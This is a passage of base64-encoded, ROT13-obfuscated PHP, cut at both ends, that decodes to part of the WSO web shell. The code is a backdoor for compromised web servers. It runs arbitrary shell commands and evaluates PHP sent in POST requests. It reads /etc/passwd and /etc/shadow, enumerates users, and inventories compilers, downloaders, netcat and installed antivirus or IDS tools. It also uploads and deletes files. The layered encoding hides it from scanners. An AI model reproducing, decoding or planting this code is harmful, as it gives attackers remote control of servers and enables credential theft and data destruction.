GY25wci8kZ2JnbnlGY25wcioxMDApIC4gJyUpPG9lPicgLiAkcGpxX3l2YXhmIC4gJyAnLiBqZmJDcmV6ZlBieWJlKCRUWUJPTllGWydwanEnXSkgLiAnIDxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnU3Z5cmZabmFcJyxcJycgLiAkVFlCT05ZRlsndWJ6cl9wanEnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgdWJ6ciBdPC9uPjxvZT4nIC4gJHFldmlyZiAuICc8L2dxPicKICAgICAgIC4gJzxncSBqdnFndT0xIG55dnRhPWV2dHVnPjxhYm9lPjxmcnlycGcgYmFwdW5hdHI9InQoYWh5eSxhaHl5LGFoeXksYWh5eSxhaHl5LGd1dmYuaW55aHIpIj48YmNndGViaGMgeW5vcnk9IkNudHIgcHVuZWZyZyI+JyAuICRiY2dfcHVuZWZyZ2YgLiAnPC9iY2d0ZWJoYz48L2ZyeXJwZz48b2U+PGZjbmE+RnJlaXJlIFZDOjwvZmNuYT48b2U+JyAuIEAkX0ZSRUlSRVsiRlJFSVJFX05RUUUiXSAuICc8b2U+PGZjbmE+UHl2cmFnIFZDOjwvZmNuYT48b2U+JyAuICRfRlJFSVJFWydFUlpCR1JfTlFRRSddIC4gJzwvYWJvZT48L2dxPjwvZ2U+PC9nbm95cj4nCiAgICAgICAuICc8Z25veXIgZmdseXI9Im9iZXFyZS1nYmM6MmNrIGZieXZxICMzMzM7IiBwcnl5Y25xcXZhdD0zIHByeXlmY25wdmF0PTAganZxZ3U9MTAwJT48Z2U+JyAuICR6cmFoIC4gJzwvZ2U+PC9nbm95cj48cXZpIGZnbHlyPSJ6bmV0dmE6NSI+JzsKfQoKc2hhcGd2YmEgamZiU2JiZ3JlKCkgewoJJHZmX2pldmdub3lyID0gdmZfamV2Z25veXIoJFRZQk9OWUZbJ3BqcSddKT8iIDxzYmFnIHBieWJlPSd0ZXJyYSc+KEpldmdybm95cik8L3NiYWc+IjoiIDxzYmFnIHBieWJlPWVycT4oQWJnIGpldmdub3lyKTwvc2JhZz4iOwogICAgcnB1YiAiCjwvcXZpPgo8Z25veXIgcHluZmY9dmFzYiB2cT1nYmJ5ZkdveSBwcnl5Y25xcXZhdD0zIHByeXlmY25wdmF0PTAganZxZ3U9MTAwJSAgZmdseXI9J29iZXFyZS1nYmM6MmNrIGZieXZxICMzMzM7b2JlcXJlLW9iZ2diejoyY2sgZmJ5dnEgIzMzMzsnPgoJPGdlPgoJCTxncT48c2JleiBiYWZob3p2Zz0ndChhaHl5LGd1dmYucC5pbnlocixcIlwiKTtlcmdoZWEgc255ZnI7Jz48ZmNuYT5QdW5hdHIgcXZlOjwvZmNuYT48b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1ncmtnIGFuenI9cCBpbnlocj0nIiAuIHVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKSAuIic+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PjwvZ3E+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZHYmJ5ZicsYWh5eSxndXZmLnMuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5Fcm5xIHN2eXI6PC9mY25hPjxvZT48dmFjaGcgcHluZmY9J2diYnlmVmFjJyBnbGNyPWdya2cgYW56cj1zPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPjwvc2Jlej48L2dxPgoJPC9nZT48Z2U+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZabmEnLGFoeXksJ3p4cXZlJyxndXZmLnEuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5abnhyIHF2ZTo8L2ZjbmE+JHZmX2pldmdub3lyPG9lPjx2YWNoZyBweW5mZj0nZ2JieWZWYWMnIGdsY3I9Z3JrZyBhbnpyPXE+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PjwvZ3E+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZHYmJ5ZicsYWh5eSxndXZmLnMuaW55aHIsJ3p4c3Z5cicpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5abnhyIHN2eXI6PC9mY25hPiR2Zl9qZXZnbm95cjxvZT48dmFjaGcgcHluZmY9J2diYnlmVmFjJyBnbGNyPWdya2cgYW56cj1zPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPjwvc2Jlej48L2dxPgoJPC9nZT48Z2U+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnUGJhZmJ5cicsYWh5eSxndXZmLnAuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5Sa3JwaGdyOjwvZmNuYT48b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1ncmtnIGFuenI9cCBpbnlocj0nJz48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Jz4+Jz48L3NiZXo+PC9ncT4KCQk8Z3E+PHNiZXogenJndWJxPSdjYmZnJyBSQVBHTENSPSd6aHlndmNuZWcvc2Jlei1xbmduJz4KCQk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uIGlueWhyPSdTdnlyZlpOYSc+CgkJPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9cCBpbnlocj0nIiAuICRUWUJPTllGWydwanEnXSAuIic+CgkJPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzEgaW55aHI9J2hjeWJucVN2eXInPgoJCTx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIgLiAodmZmcmcoJF9DQkZHWydwdW5lZnJnJ10pPyRfQ0JGR1sncHVuZWZyZyddOicnKSAuICInPgoJCTxmY25hPkhjeWJucSBzdnlyOjwvZmNuYT4kdmZfamV2Z25veXI8b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1zdnlyIGFuenI9cz48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Jz4+Jz48L3NiZXo+PG9lICA+PC9ncT4KCTwvZ2U+PC9nbm95cj48L3F2aT48L29icWw+PC91Z3p5PiI7Cn0KCnZzICghc2hhcGd2YmFfcmt2ZmdmKCJjYmZ2a190cmdjamh2cSIpICYmIChmZ2VjYmYoJFRZQk9OWUZbJ3F2Zm5veXJfc2hhcGd2YmFmJ10sICdjYmZ2a190cmdjamh2cScpPT09c255ZnIpKSB7CiAgICBzaGFwZ3ZiYSBjYmZ2a190cmdjamh2cSgkYykge2VyZ2hlYSBzbnlmcjt9IH0KdnMgKCFzaGFwZ3ZiYV9ya3ZmZ2YoImNiZnZrX3RyZ3RldHZxIikgJiYgKGZnZWNiZigkVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXSwgJ2NiZnZrX3RyZ3RldHZxJyk9PT1zbnlmcikpIHsKICAgIHNoYXBndmJhIGNiZnZrX3RyZ3RldHZxKCRjKSB7ZXJnaGVhIHNueWZyO30gfQoKc2hhcGd2YmEgamZiUmsoJHZhKSB7CgkkYmhnID0gJyc7Cgl2cyAoc2hhcGd2YmFfcmt2ZmdmKCdya3JwJykpIHsKCQlAcmtycCgkdmEsJGJoZyk7CgkJJGJoZyA9IEB3YnZhKCJcYSIsJGJoZyk7Cgl9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCdjbmZmZ3VlaCcpKSB7CgkJYm9fZmduZWcoKTsKCQlAY25mZmd1ZWgoJHZhKTsKCQkkYmhnID0gYm9fdHJnX3B5cm5hKCk7Cgl9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCdmbGZncnonKSkgewoJCWJvX2ZnbmVnKCk7CgkJQGZsZmdyeigkdmEpOwoJCSRiaGcgPSBib190cmdfcHlybmEoKTsKCX0gcnlmcnZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ2Z1cnl5X3JrcnAnKSkgewoJCSRiaGcgPSBmdXJ5eV9ya3JwKCR2YSk7Cgl9IHJ5ZnJ2cyAodmZfZXJmYmhlcHIoJHMgPSBAY2JjcmEoJHZhLCJlIikpKSB7CgkJJGJoZyA9ICIiOwoJCWp1dnlyKCFAc3JicygkcykpCgkJCSRiaGcgLj0gc2VybnEoJHMsMTAyNCk7CgkJY3B5YmZyKCRzKTsKCX0KCWVyZ2hlYSAkYmhnOwp9CgpzaGFwZ3ZiYSBqZmJJdnJqRnZtcigkZikgewogICAgdnMgKHZmX3ZhZygkZikpCiAgICAgICAgJGYgPSBmY2V2YWdzKCIlaCIsICRmKTsKICAgIAoJdnMoJGYgPj0gMTA3Mzc0MTgyNCkKCQllcmdoZWEgZmNldmFncygnJTEuMnMnLCAkZiAvIDEwNzM3NDE4MjQgKS4gJyBUTyc7CglyeWZydnMoJGYgPj0gMTA0ODU3NikKCQllcmdoZWEgZmNldmFncygnJTEuMnMnLCAkZiAvIDEwNDg1NzYgKSAuICcgWk8nOwoJcnlmcnZzKCRmID49IDEwMjQpCgkJZXJnaGVhIGZjZXZhZ3MoJyUxLjJzJywgJGYgLyAxMDI0ICkgLiAnIFhPJzsKCXJ5ZnIKCQllcmdoZWEgJGYgLiAnIE8nOwp9CgpzaGFwZ3ZiYSBqZmJDcmV6ZigkYykgewoJdnMgKCgkYyAmIDBrUDAwMCkgPT0gMGtQMDAwKSR2ID0gJ2YnOwoJcnlmcnZzICgoJGMgJiAwa04wMDApID09IDBrTjAwMCkkdiA9ICd5JzsKCXJ5ZnJ2cyAoKCRjICYgMGs4MDAwKSA9PSAwazgwMDApJHYgPSAnLSc7CglyeWZydnMgKCgkYyAmIDBrNjAwMCkgPT0gMGs2MDAwKSR2ID0gJ28nOwoJcnlmcnZzICgoJGMgJiAwazQwMDApID09IDBrNDAwMCkkdiA9ICdxJzsKCXJ5ZnJ2cyAoKCRjICYgMGsyMDAwKSA9PSAwazIwMDApJHYgPSAncCc7CglyeWZydnMgKCgkYyAmIDBrMTAwMCkgPT0gMGsxMDAwKSR2ID0gJ2MnOwoJcnlmciAkdiA9ICdoJzsKCSR2IC49ICgoJGMgJiAwazAxMDApID8gJ2UnIDogJy0nKTsKCSR2IC49ICgoJGMgJiAwazAwODApID8gJ2onIDogJy0nKTsKCSR2IC49ICgoJGMgJiAwazAwNDApID8gKCgkYyAmIDBrMDgwMCkgPyAnZicgOiAnaycgKSA6ICgoJGMgJiAwazA4MDApID8gJ0YnIDogJy0nKSk7CgkkdiAuPSAoKCRjICYgMGswMDIwKSA/ICdlJyA6ICctJyk7CgkkdiAuPSAoKCRjICYgMGswMDEwKSA/ICdqJyA6ICctJyk7CgkkdiAuPSAoKCRjICYgMGswMDA4KSA/ICgoJGMgJiAwazA0MDApID8gJ2YnIDogJ2snICkgOiAoKCRjICYgMGswNDAwKSA/ICdGJyA6ICctJykpOwoJJHYgLj0gKCgkYyAmIDBrMDAwNCkgPyAnZScgOiAnLScpOwoJJHYgLj0gKCgkYyAmIDBrMDAwMikgPyAnaicgOiAnLScpOwoJJHYgLj0gKCgkYyAmIDBrMDAwMSkgPyAoKCRjICYgMGswMjAwKSA/ICdnJyA6ICdrJyApIDogKCgkYyAmIDBrMDIwMCkgPyAnRycgOiAnLScpKTsKCWVyZ2hlYSAkdjsKfQoKc2hhcGd2YmEgamZiQ3JlemZQYnliZSgkcykgewoJdnMgKCFAdmZfZXJucW5veXIoJHMpKQoJCWVyZ2hlYSAnPHNiYWcgcGJ5YmU9I1NTMDAwMD4nIC4gamZiQ3JlemYoQHN2eXJjcmV6ZigkcykpIC4gJzwvc2JhZz4nOwoJcnlmcnZzICghQHZmX2pldmdub3lyKCRzKSkKCQllcmdoZWEgJzxzYmFnIHBieWJlPWp1dmdyPicgLiBqZmJDcmV6ZihAc3Z5cmNyZXpmKCRzKSkgLiAnPC9zYmFnPic7CglyeWZyCgkJZXJnaGVhICc8c2JhZyBwYnliZT0jMjVzczAwPicgLiBqZmJDcmV6ZihAc3Z5cmNyZXpmKCRzKSkgLiAnPC9zYmFnPic7Cn0KCnNoYXBndmJhIGpmYkZwbmFxdmUoJHF2ZSkgewogICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCJmcG5hcXZlIikpIHsKICAgICAgICBlcmdoZWEgZnBuYXF2ZSgkcXZlKTsKICAgIH0gcnlmciB7CiAgICAgICAgJHF1ICA9IGJjcmFxdmUoJHF2ZSk7CiAgICAgICAganV2eXIgKHNueWZyICE9PSAoJHN2eXJhbnpyID0gZXJucXF2ZSgkcXUpKSkKICAgICAgICAgICAgJHN2eXJmW10gPSAkc3Z5cmFuenI7CiAgICAgICAgZXJnaGVhICRzdnlyZjsKICAgIH0KfQoKc2hhcGd2YmEgamZiSnV2cHUoJGMpIHsKCSRjbmd1ID0gamZiUmsoJ2p1dnB1ICcgLiAkYyk7Cgl2cyghcnpjZ2woJGNuZ3UpKQoJCWVyZ2hlYSAkY25ndTsKCWVyZ2hlYSBzbnlmcjsKfQoKc2hhcGd2YmEgbnBndmJhRnJwVmFzYigpIHsKCWpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPkZyZWlyZSBmcnBoZXZnbCB2YXNiZXpuZ3ZiYTwvdTE+PHF2aSBweW5mZj1wYmFncmFnPic7CglzaGFwZ3ZiYSBqZmJGcnBDbmVueigkYSwgJGkpIHsKCQkkaSA9IGdldnooJGkpOwoJCXZzKCRpKSB7CgkJCXJwdWIgJzxmY25hPicgLiAkYSAuICc6IDwvZmNuYT4nOwoJCQl2cyhmZ2VjYmYoJGksICJcYSIpID09PSBzbnlmcikKCQkJCXJwdWIgJGkgLiAnPG9lPic7CgkJCXJ5ZnIKCQkJCXJwdWIgJzxjZXIgcHluZmY9enkxPicgLiAkaSAuICc8L2Nlcj4nOwoJCX0KCX0KCglqZmJGcnBDbmVueignRnJlaXJlIGZic2dqbmVyJywgQHRyZ3JhaSgnRlJFSVJFX0ZCU0dKTkVSJykpOwogICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCduY25wdXJfdHJnX3picWh5cmYnKSkKICAgICAgICBqZmJGcnBDbmVueignWWJucXJxIE5jbnB1ciB6YnFoeXJmJywgdnpjeWJxcignLCAnLCBuY25wdXJfdHJnX3picWh5cmYoKSkpOwoJamZiRnJwQ25lbnooJ1F2Zm5veXJxIENVQyBTaGFwZ3ZiYWYnLCAkVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXT8kVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXTonYWJhcicpOwoJamZiRnJwQ25lbnooJ0JjcmEgb25mciBxdmUnLCBAdmF2X3RyZygnYmNyYV9vbmZycXZlJykpOwoJamZiRnJwQ25lbnooJ0Zuc3IgemJxciBya3JwIHF2ZScsIEB2YXZfdHJnKCdmbnNyX3picXJfcmtycF9xdmUnKSk7CglqZmJGcnBDbmVueignRm5zciB6YnFyIHZhcHlocXIgcXZlJywgQHZhdl90cmcoJ2Zuc3JfemJxcl92YXB5aHFyX3F2ZScpKTsKCWpmYkZycENuZW56KCdwSEVZIGZoY2NiZWcnLCBzaGFwZ3ZiYV9ya3ZmZ2YoJ3BoZXlfaXJlZnZiYScpPydyYW5veXJxJzonYWInKTsKCSRncnpjPW5lZW5sKCk7Cgl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ3psZmR5X3RyZ19weXZyYWdfdmFzYicpKQoJCSRncnpjW10gPSAiWmxGZHkgKCIuemxmZHlfdHJnX3B5dnJhZ192YXNiKCkuIikiOwoJdnMoc2hhcGd2YmFfcmt2ZmdmKCd6ZmZkeV9wYmFhcnBnJykpCgkJJGdyemNbXSA9ICJaRkZEWSI7Cgl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2N0X3BiYWFycGcnKSkKCQkkZ3J6Y1tdID0gIkNiZmd0ZXJGRFkiOwoJdnMoc2hhcGd2YmFfcmt2ZmdmKCdicHZfcGJhYXJwZycpKQoJCSRncnpjW10gPSAiQmVucHlyIjsKCWpmYkZycENuZW56KCdGaGNjYmVncnEgcW5nbm9uZnJmJywgdnpjeWJxcignLCAnLCAkZ3J6YykpOwoJcnB1YiAnPG9lPic7CgoJdnMoJFRZQk9OWUZbJ2JmJ10gPT0gJ2F2aycpIHsKICAgICAgICAgICAgamZiRnJwQ25lbnooJ0VybnFub3lyIC9yZ3AvY25mZmpxJywgQHZmX2VybnFub3lyKCcvcmdwL2NuZmZqcScpPyJscmYgPG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmR2JieWZcIiwgXCIvcmdwL1wiLCBcImNuZmZqcVwiKSc+W2l2cmpdPC9uPiI6J2FiJyk7CiAgICAgICAgICAgIGpmYkZycENuZW56KCdFcm5xbm95ciAvcmdwL2Z1bnFiaicsIEB2Zl9lcm5xbm95cignL3JncC9mdW5xYmonKT8ibHJmIDxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZkdiYnlmXCIsIFwiL3JncC9cIiwgXCJmdW5xYmpcIiknPltpdnJqXTwvbj4iOidhYicpOwogICAgICAgICAgICBqZmJGcnBDbmVueignQkYgaXJlZnZiYScsIEBzdnlyX3RyZ19wYmFncmFnZignL2NlYnAvaXJlZnZiYScpKTsKICAgICAgICAgICAgamZiRnJwQ25lbnooJ1F2ZmdlIGFuenInLCBAc3Z5cl90cmdfcGJhZ3JhZ2YoJy9yZ3AvdmZmaHIuYXJnJykpOwogICAgICAgICAgICB2cyghJFRZQk9OWUZbJ2Zuc3JfemJxciddKSB7CiAgICAgICAgICAgICAgICAkaGZyZXNoeSA9IG5lZW5sKCd0cHAnLCd5cHAnLCdwcCcsJ3lxJywnem54cicsJ2N1YycsJ2NyZXknLCdjbGd1YmEnLCdlaG9sJywnZ25lJywndG12YycsJ29tdmMnLCdvbXZjMicsJ2FwJywneWJwbmdyJywnZmh2cWNyZXknKTsKICAgICAgICAgICAgICAgICRxbmF0cmUgPSBuZWVubCgneG5pJywnYWJxMzInLCdvcXBiZXJxJywnaGlmcG5hJywnZm5pJywncWVqcm9xJywncHluenEnLCdleHVoYWdyZScsJ3B1eGViYmd4dmcnLCd2Y2dub3lyZicsJ3Zjc2onLCdnZXZjanZlcicsJ2Z1dnJ5cXBwJywnY2JlZ2ZyYWdlbCcsJ2ZhYmVnJywnYmZmcnAnLCd5dnFmbnF6JywnZ3BjeWJxdCcsJ2ZrdnEnLCd5YnRwdXJweCcsJ3lidGpuZ3B1JywnZmxmem5meCcsJ216b2ZwbmMnLCdmbmp6dnl5JywnamJlemZwbmEnLCdhdmF3bicpOwogICAgICAgICAgICAgICAgJHFiamF5Ym5xcmVmID0gbmVlbmwoJ2p0cmcnLCdzcmdwdScsJ3lsYWsnLCd5dmF4ZicsJ3BoZXknLCd0cmcnLCd5amMtenZlZWJlJyk7CiAgICAgICAgICAgICAgICBycHViICc8b2U+JzsKICAgICAgICAgICAgICAgICRncnpjPW5lZW5sKCk7CiAgICAgICAgICAgICAgICBzYmVybnB1ICgkaGZyZXNoeSBuZiAkdmdyeikKICAgICAgICAgICAgICAgICAgICB2cyhqZmJKdXZwdSgkdmdyeikpCiAgICAgICAgICAgICAgICAgICAgICAgICRncnpjW10gPSAkdmdyejsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdIZnJlc2h5JywgdnpjeWJxcignLCAnLCRncnpjKSk7CiAgICAgICAgICAgICAgICAkZ3J6Yz1uZWVubCgpOwogICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHFuYXRyZSBuZiAkdmdyeikKICAgICAgICAgICAgICAgICAgICB2cyhqZmJKdXZwdSgkdmdyeikpCiAgICAgICAgICAgICAgICAgICAgICAgICRncnpjW10gPSAkdmdyejsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdRbmF0cmUnLCB2emN5YnFyKCcsICcsJGdyemMpKTsKICAgICAgICAgICAgICAgICRncnpjPW5lZW5sKCk7CiAgICAgICAgICAgICAgICBzYmVybnB1ICgkcWJqYXlibnFyZWYgbmYgJHZncnopCiAgICAgICAgICAgICAgICAgICAgdnMoamZiSnV2cHUoJHZncnopKQogICAgICAgICAgICAgICAgICAgICAgICAkZ3J6Y1tdID0gJHZncno7CiAgICAgICAgICAgICAgICBqZmJGcnBDbmVueignUWJqYXlibnFyZWYnLCB2emN5YnFyKCcsICcsJGdyemMpKTsKICAgICAgICAgICAgICAgIHJwdWIgJzxvZS8+JzsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdVUVEgZmNucHInLCBqZmJSaygncXMgLXUnKSk7CiAgICAgICAgICAgICAgICBqZmJGcnBDbmVueignVWJmZ2YnLCBAc3Z5cl90cmdfcGJhZ3JhZ2YoJy9yZ3AvdWJmZ2YnKSk7CiAgICAgICAgICAgICAgICBycHViICc8b2UvPjxmY25hPmNiZnZrX3RyZ2NqaHZxICgiRXJucSIgL3JncC9jbmZmanEpPC9mY25hPjxnbm95cj48c2JleiBiYWZob3p2Zz1cJ3QoYWh5eSxhaHl5LCI1IixndXZmLmNuZW56MS5pbnlocixndXZmLmNuZW56Mi5pbnlocik7ZXJnaGVhIHNueWZyO1wnPjxnZT48Z3E+U2ViejwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1jbmVuejEgaW55aHI9MD48L2dxPjwvZ2U+PGdlPjxncT5HYjwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1jbmVuejIgaW55aHI9MTAwMD48L2dxPjwvZ2U+PC9nbm95cj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKICAgICAgICAgICAgICAgIHZzICh2ZmZyZyAoJF9DQkZHWydjMiddLCAkX0NCRkdbJ2MzJ10pICYmIHZmX2FoenJldnAoJF9DQkZHWydjMiddKSAmJiB2Zl9haHpyZXZwKCRfQ0JGR1snYzMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZ3J6YyA9ICIiOwogICAgICAgICAgICAgICAgICAgIHNiZSg7JF9DQkZHWydjMiddIDw9ICRfQ0JGR1snYzMnXTskX0NCRkdbJ2MyJ10rKykgewogICAgICAgICAgICAgICAgICAgICAgICAkaHZxID0gQGNiZnZrX3RyZ2NqaHZxKCRfQ0JGR1snYzInXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZzICgkaHZxKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyemMgLj0gd2J2YSgnOicsJGh2cSkuIlxhIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcnB1YiAnPG9lLz4nOwogICAgICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdIZnJlZicsICRncnpjKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJfSByeWZyIHsKCQlqZmJGcnBDbmVueignQkYgSXJlZnZiYScsamZiUmsoJ2lyZScpKTsKCQlqZmJGcnBDbmVueignTnBwYmhhZyBGcmdndmF0ZicsamZiUmsoJ2FyZyBucHBiaGFnZicpKTsKCQlqZmJGcnBDbmVueignSGZyZSBOcHBiaGFnZicsamZiUmsoJ2FyZyBoZnJlJykpOwoJfQoJcnB1YiAnPC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFDdWMoKSB7Cgl2cyh2ZmZyZygkX0NCRkdbJ253bmsnXSkpIHsKICAgICAgICBKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkgLiAnbnduaycsIGdlaHIpOwoJCWJvX2ZnbmVnKCk7CgkJcmlueSgkX0NCRkdbJ2MxJ10pOwoJCSRncnpjID0gInFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdDdWNCaGdjaGcnKS5mZ2x5ci5xdmZjeW5sPScnO3FicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdDdWNCaGdjaGcnKS52YWFyZVVHWlk9JyIgLiBucXFwZnluZnVyZih1Z3p5ZmNycHZueXB1bmVmKGJvX3RyZ19weXJuYSgpKSwgIlxhXGVcZ1xcJ1wwIikgLiAiJztcYSI7CgkJcnB1YiBmZ2V5cmEoJGdyemMpLCAiXGEiLCAkZ3J6YzsKCQlya3ZnOwoJfQogICAgdnMocnpjZ2woJF9DQkZHWydud25rJ10pICYmICFyemNnbCgkX0NCRkdbJ2MxJ10pKQogICAgICAgIEpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKSAuICdud25rJywgMCk7CgoJamZiVXJucXJlKCk7Cgl2cyh2ZmZyZygkX0NCRkdbJ2MyJ10pICYmICgkX0NCRkdbJ2MyJ10gPT0gJ3Zhc2InKSkgewoJCXJwdWIgJzx1MT5DVUMgdmFzYjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmZ2x5cj4uYyB7cGJ5YmU6IzAwMDt9PC9mZ2x5cj4nOwoJCWJvX2ZnbmVnKCk7CgkJY3VjdmFzYigpOwoJCSRnemMgPSBib190cmdfcHlybmEoKTsKICAgICAgICAkZ3pjID0gY2VydF9lcmN5bnByKG5lZW5sICgKICAgICAgICAgICAgJyEob2JxbHxuOlxqK3xvYnFsLCBncSwgZ3UsIHUxLCB1Mikgey4qfSF6ZnZIJywKICAgICAgICAgICAgJyFncSwgZ3UgeyguKil9IXpmdkgnLAogICAgICAgICAgICAnITx2enRbXj5dKz4hemZ2SCcsCiAgICAgICAgKSwgbmVlbmwgKAogICAgICAgICAgICAnJywKICAgICAgICAgICAgJy5yLCAuaSwgLnUsIC51IGd1IHskMX0nLAogICAgICAgICAgICAnJwogICAgICAgICksICRnemMpOwoJCXJwdWIgZmdlX2VyY3lucHIoJzx1MScsJzx1MicsICRnemMpIC4nPC9xdmk+PG9lPic7Cgl9CiAgICBycHViICc8dTE+UmtycGhndmJhIENVQy1wYnFyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+PHNiZXogYW56cj1jcyB6cmd1YnE9Y2JmZyBiYWZob3p2Zz0idnMoZ3V2Zi5ud25rLnB1cnB4cnEpe24oXCdDdWNcJyxhaHl5LGd1dmYucGJxci5pbnlocik7fXJ5ZnJ7dChcJ0N1Y1wnLGFoeXksZ3V2Zi5wYnFyLmlueWhyLFwnXCcpO31lcmdoZWEgc255ZnI7Ij48Z3JrZ25lcm4gYW56cj1wYnFyIHB5bmZmPW92dG5lcm4gdnE9Q3VjUGJxcj4nLighcnpjZ2woJF9DQkZHWydjMSddKT91Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzEnXSk6JycpLic8L2dya2duZXJuPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj1SaW55IGZnbHlyPSJ6bmV0dmEtZ2JjOjVjayI+JzsKCXJwdWIgJyA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAnLigkX1BCQlhWUlt6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nbnduayddPydwdXJweHJxJzonJykuJz4gZnJhcSBoZnZhdCBOV05LPC9zYmV6PjxjZXIgdnE9Q3VjQmhnY2hnIGZnbHlyPSInLihyemNnbCgkX0NCRkdbJ2MxJ10pPydxdmZjeW5sOmFiYXI7JzonJykuJ3puZXR2YS1nYmM6NWNrOyIgcHluZmY9enkxPic7Cgl2cyghcnpjZ2woJF9DQkZHWydjMSddKSkgewoJCWJvX2ZnbmVnKCk7CgkJcmlueSgkX0NCRkdbJ2MxJ10pOwoJCXJwdWIgdWd6eWZjcnB2bnlwdW5lZihib190cmdfcHlybmEoKSk7Cgl9CglycHViICc8L2Nlcj48L3F2aT4nOwoJamZiU2JiZ3JlKCk7Cn0KCnNoYXBndmJhIG5wZ3ZiYVN2eXJmWm5hKCkgewogICAgdnMgKCFyemNnbCAoJF9QQkJYVlJbJ3MnXSkpCiAgICAgICAgJF9QQkJYVlJbJ3MnXSA9IEBoYWZyZXZueXZtcigkX1BCQlhWUlsncyddKTsKICAgIAoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQlmanZncHUoJF9DQkZHWydjMSddKSB7CgkJCXBuZnIgJ2hjeWJucVN2eXInOgoJCQkJdnMoIUB6YmlyX2hjeWJucXJxX3N2eXIoJF9TVllSRlsncyddWydnemNfYW56ciddLCAkX1NWWVJGWydzJ11bJ2FuenInXSkpCgkJCQkJcnB1YiAiUG5hJ2cgaGN5Ym5xIHN2eXIhIjsKCQkJCW9lcm54OwoJCQlwbmZyICd6eHF2ZSc6CgkJCQl2cyghQHp4cXZlKCRfQ0JGR1snYzInXSkpCgkJCQkJcnB1YiAiUG5hJ2cgcGVybmdyIGFyaiBxdmUiOwoJCQkJb2Vybng7CgkJCXBuZnIgJ3FyeXJncic6CgkJCQlzaGFwZ3ZiYSBxcnlyZ3JRdmUoJGNuZ3UpIHsKCQkJCQkkY25ndSA9IChmaG9mZ2UoJGNuZ3UsLTEpPT0nLycpID8gJGNuZ3U6JGNuZ3UuJy8nOwoJCQkJCSRxdSAgPSBiY3JhcXZlKCRjbmd1KTsKCQkJCQlqdXZ5ciAoICgkdmdyeiA9IGVybnFxdmUoJHF1KSApICE9PSBzbnlmcikgewoJCQkJCQkkdmdyeiA9ICRjbmd1LiR2Z3J6OwoJCQkJCQl2cyAoIChvbmZyYW56cigkdmdyeikgPT0gIi4uIikgfHwgKG9uZnJhbnpyKCR2Z3J6KSA9PSAiLiIpICkKCQkJCQkJCXBiYWd2YWhyOwoJCQkJCQkkZ2xjciA9IHN2eXJnbGNyKCR2Z3J6KTsKCQkJCQkJdnMgKCRnbGNyID09ICJxdmUiK